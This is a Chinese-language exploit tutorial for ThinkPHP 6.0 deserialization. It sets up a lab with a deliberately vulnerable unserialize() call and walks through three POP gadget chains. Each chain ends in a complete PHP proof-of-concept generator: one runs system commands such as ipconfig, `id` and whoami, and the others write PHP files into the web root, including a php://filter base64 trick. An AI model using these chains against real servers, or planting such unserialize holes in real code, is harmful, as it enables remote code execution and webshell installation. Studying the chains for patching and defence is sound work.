环境准备
安装ThinkPHP 6.0
composer create-project topthink/think=6.0.x-dev v6.0
修改application/index/controller/Index.php Index类的代码
class Index
{
public function index()
{
$payload = unserialize(base64_decode($_GET['payload']));
return 'ThinkPHP V6.x';
}
}
开启ThinkPHP6调试
将根目录.example.env更改为.env,文件中添加:APP_DEBUG = true
POP链1
think\Model --> __destruct()
think\Model --> save()
think\Model --> updateData()
think\Model --> checkAllowFields()
think\Model --> db()
--------此处以下同tp 5.2后半部分利用链--------
think\model\concern\Conversion --> __toString()
think\model\concern\Conversion --> __toJson()
think\model\concern\Conversion --> __toArray()
think\model\concern\Attribute --> getAttr()
think\model\concern\Attribute --> getValue()
分析复现
__destruct()
首先寻找可利用的**__destruct()**
在vendor/topthink/think-orm/src/Model.php中找到
lazySave可控,构造lazySave为true,进入save()函数
save()
updateData()
此处先行提示一下,我们下一步需要利用**updateData()**方法,所以此处需要构造条件触发
-
$this->isEmpty() == false
查看**$this->isEmpty()**代码
使其返回false需要满足
$this->data != null
-
$this->trigger(‘BeforeWrite’) === true
在vendor/topthink/think-orm/src/model/concern/ModelEvent.php中查看trigger方法
使其返回true需要满足
$this->withEvent === false
-
$this->exists == true
满足条件后进入 **updateData()**方法,此处只截取利用到的代码
此处我们要用到 checkAllowFields(),所以需要保证在此之前不会return退出这个方法
-
$this->trigger(‘BeforeUpdate’) == true
-
empty($data) == true
-
$data != null
$data值来源于getChangedData(),我们在 vendor/topthink/think-orm/src/model/concern/Attribute.php 中找到此方法
出于构造POP链考虑,我们应使$this->force == true,使其直接返回$data,避免返回其他数值或内容影响构造
checkAllowFields()
此函数中我们需要触发 db() 方法,即需要满足以下条件
- $field = []
- $schema = []
db()
$this->connection可控,赋值为”mysql”;name()方法参数完全可控,字符串拼接,触发__toString()
后面POP链与ThinkPHP5.2相同,需要注意的是,Model为抽象类,不能实例化,我们需要他的子类,和thinkPHP5.2一样我们还是使用Pivot来构造。
__toString()
我们选择 vendor/topthink/think-orm/src/model/concern/Conversion.php 来触发__toString()
跟进 toJson()
跟进 toArray()
toArray()
我们只截取关键代码进行分析
此处我们需要触发 getAttr()
方法,我们分析触发条件
- $this->hidden[$key] == null,
$this->hidden
可控 - $hasVisible == false ,
$hasVisible
默认为false,
注意两个 getAttr()
只能使用第175行的,原因见图
getAttr()
跟进getAttr()
$key
会传入 getData()
方法,跟进 getData()
跟进 getRealFieldName()
当 $this->strict == True
时,直接返回 $name
返回 getData()
,经由上面分析可以得出,通过构造可使 $fieldName = $key
,之后进入if判断逻辑
此处if条件满足,返回 $fieldName
给 getAttr()
中的 $valur
调用的函数getValue(),参数中 $name
是 $this->withAttr
的键名,$value
是命令
getValue()
$this->withAttr[$key]
作为函数名动态执行,$value
作为参数
如果命令是ipconfig
,那么最终执行的就是 system("ipconfig", ["test"=>"ipconfig"])
对于函数system()
的用法,参见php手册https://www.php.net/manual/zh/function.system.php
POC
<?php
namespace think;
use think\model\Pivot;
abstract class Model{
private $lazySave = false; # save()
private $exists = false; # updateData()
protected $connection;
protected $name; # __toString() Conversion.php =>Pivot
private $withAttr = []; # assert
protected $hidden = [];
private $data = [];
protected $withEvent = false;
private $force = false;
protected $field = [];
protected $schema = [];
function __construct(){
$this->lazySave = true;
$this->exists = true;
$this->withEvent = false;
$this->force = true;
$this->connection = "mysql";
$this->withAttr = ["test"=>"system"];
$this->data = ["test"=>"ipconfig"];
$this->hidden = ["test"=>"123"];
$this->field = [];
$this->schema = [];
}
}
namespace think\model;
use think\Model;
# Model 是一个抽象类,我们找到它的继承类,此处选取的是 Pivot 类
class Pivot extends Model{
function __construct($obj=""){
parent::__construct();
$this->name = $obj; # $this->name放子类构造方法中赋值,直接放基类属性中初始化不成功
}
}
$a=new Pivot();
echo base64_encode(serialize(new Pivot($a)));
POP链2
__destruct()
依旧是全局搜索 __destruct() ,我们查看在 /vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php 中的__destruct
使 $this->autosave = false
可以触发 $this->save()
CacheStore
AbstractCache是一个抽象类,我们使用find usages寻找继承它的类
在 /vendor/topthink/framework/src/think/filesystem/CacheStore.php 中的 CacheStore 类继承了 AbstractCache 类,并实现了 save()
方法
save()
方法中涉及 getForStorage()
方法,我们跟进此方法
getForStorage()
回到 AbstractCache.php 中我们找到了 getForStorage()
方法,继续跟进 cleanContents()
cleanContents()
array_flip
对数组反转,array_intersect_key
取数组交集
然后函数会将 $contents
返回给 getForStorage()
中的 $cleaned
,经过 json_encode
后返回给前面的 save()
方法
$contents
变量接收函数返回值后,进入下面了逻辑,此时$this->store
是可控的,我们可以调用任意类的set
方法,如果这个指定的类不存在set
方法,就有可能触发__call()
。当然也有可能本身的set()
方法就可以利用。
Notice:在对象中调用一个不可访问方法时,__call()
会被调用。有关 __call()
方法的详细说明,参见php手册https://www.php.net/manual/zh/language.oop5.overloading.php#object.call
set()
我们利用在File类中的 set
() 方法
serialize()方法
此处有两种利用方法,我们先分析利用 serialize()
方法的POP链
$this->options\['serialize'][0]
可控,可以执行任意函数,参数为$data
我们从set()
方法中可知,$data
来源于 $value
的传值,在继续从CacheStore 中可知 $value
来源于 $contents
,
即json_encode
后的数据,由此我们需要使json_encode
后的数据被当作代码执行。
此时需要注意一个问题
我们发现由于 json_encode
的缘故,命令被方括号包裹导致无法正常执行。在Linux环境中我们可以使用 `command` 这样的形式使被包裹的command优先执行,我们可以构造如下payload
报错信息中包含命令执行结果
POC
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "`id`";
// protected $complete = "\"&whoami&" ;
// 在Windows环境中反引号无效,用&替代
}
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;
public function __construct($store="")
{
$this->store = $store;
}
}
}
namespace think\cache{
abstract class Driver
{
protected $options = ["serialize"=>["system"],"expire"=>1,"prefix"=>"1","hash_type"=>"sha256","cache_subdir"=>"1","path"=>"1"];
}
}
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver{}
}
namespace{
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo base64_encode(serialize($cache));
}
?>
file_put_contents()写文件
第179行可以看到 file_put_contents()
有两个参数 $filename
、$data
,向上查找这两个变量从何而来
-
$data:前面分析已知来源于
$this->serialize
,此处存在exit()
,我们可以使用php://filter
来避免。 -
$filename:
此函数的返回值是带有文件名的文件路径
第67行
$name = hash($this->options['hash_type'], $name);
$name
为文件名,来源于$this->key
,可控,$this->options['hash_type']
也可控。最终文件名是经过hash后的,所以最终文件名可控(本文演示POC中$key = "1"
,$this->options['hash_type'] = 'md5'
,所以最终文件名为1的md5值)。$this->options['path']
使用php filter构造php://filter/write=convert.base64-decode/resource=think/public/
指向tp6根目录最终拼接后的
$filename
为php://filter/write=convert.base64-decode/resource=think/public/name.php
此外,为了确保php伪协议进行base64解码之后我们的shell不受影响,所以要计算解码前的字符数。
假设传入的
$expire=1
,那么shell前面部分在拼接之后能够被解码的有效字符为:php//000000000001exit
共有21个,要满足base64解码的4字符为1组的规则,在其前面补上3个字符用于逃逸之后的base64解码的影响。
POC
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "uuuPD9waHAgcGhwaW5mbygpOw==";
//文件内容是phpinfo(); uuu为在其前面随意填充的三个字符
}
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;
public function __construct($store="")
{
$this->store = $store;
}
}
}
namespace think\cache{
abstract class Driver
{
protected $options = ["serialize"=>["trim"],"expire"=>1,"prefix"=>false,"hash_type"=>"md5","cache_subdir"=>false,"path"=>"php://filter/write=convert.base64-decode/resource=think/public/","data_compress"=>0];
}
}
// 路径最好写成绝对路径
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver{}
}
namespace{
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo base64_encode(serialize($cache));
}
?>
使用此方法需注意路径是否可写以可执行等权限问题
POP链3
__destruct()
pop链的起点与前面的利用方式相同,都是**/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php** 中**__destruct()** 方法中的 save()
Adapter
第二步也同样是寻找继承了 AbstractCache
的类,我们选择的是 vendor/league/flysystem-cached-adapter/src/Storage/Adapter.php 中的 Adapter
类
save()
分析 Adapter
类中实现的 save()
方法
$contents
是 getForStorage()
函数的返回值,跟进此函数
getForStorage()
执行了 cleanContents()
方法,跟进此方法
cleanContents()
由于当前类中没有 cleanContents()
方法,所以我们在父类 Adapter
中查找
发现了和上一篇文章中相同的代码,只进行了数组合并,传入的数组原样返回,$contents
来源于 $this->cache
。
我们通过$this->cache
传入数组,经过 getForStorage()
中的 json_encode
处理后,返回json给 save()
中的 $contents
。此处先行提示,$contents
包含了写入文件的内容。
回到save()
我们已经分析了 $contents
,下面我们分析if else逻辑。我们需要利用write
方法写文件,要触发 write
方法我们需要让has方法返回false。
由此,我们需要寻找一个有 has
和 write
方法的类。
vendor/league/flysystem/src/Adapter/Local.php 中的 Local
类符合要求
Local类
跟进has()
执行 applyPathPrefix()
返回给 $location
,继续跟进 applyPathPrefix()
applyPathPrefix()
当前类中不存在 applyPathPrefix()
,所以我们去Local 的父类 AbstractAdapter
中寻找
applyPathPrefix()
调用了前面的 getPathPrefix()
getPathPrefix()
getPathPrefix()
返回的是 $this->pathPrefix
的值,pathPrefix
可控,ltrim
函数去除file
左侧的/和\,于是我们可以直接传入一个文件名,然后控制pathPrefix
为路径部分。
回到has()
执行file_exists函数,我们只需要保证传入的文件名不存在即可使has返回false
write()
$location
来源于$this->file
传入applyPathPrefix
处理后的文件名,$contents
即经过json_encode
处理后带有文件内容的json
数据
POC
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $cache = ["test"=>"<?php phpinfo();?>"];
}
}
namespace League\Flysystem\Cached\Storage{
use League\Flysystem\Cached\Storage\AbstractCache;
class Adapter extends AbstractCache
{
protected $file;
protected $adapter;
public function __construct($adapter="")
{
$this->file = "think\\public\\test.php";
// 需要根据系统以及配置修改路径写法
$this->adapter = $adapter;
}
}
}
namespace League\Flysystem\Adapter{
class Local
{
protected $writeFlags = 0;
}
}
namespace{
$local = new League\Flysystem\Adapter\Local();
$cache = new League\Flysystem\Cached\Storage\Adapter($local);
echo base64_encode(serialize($cache));
}
?>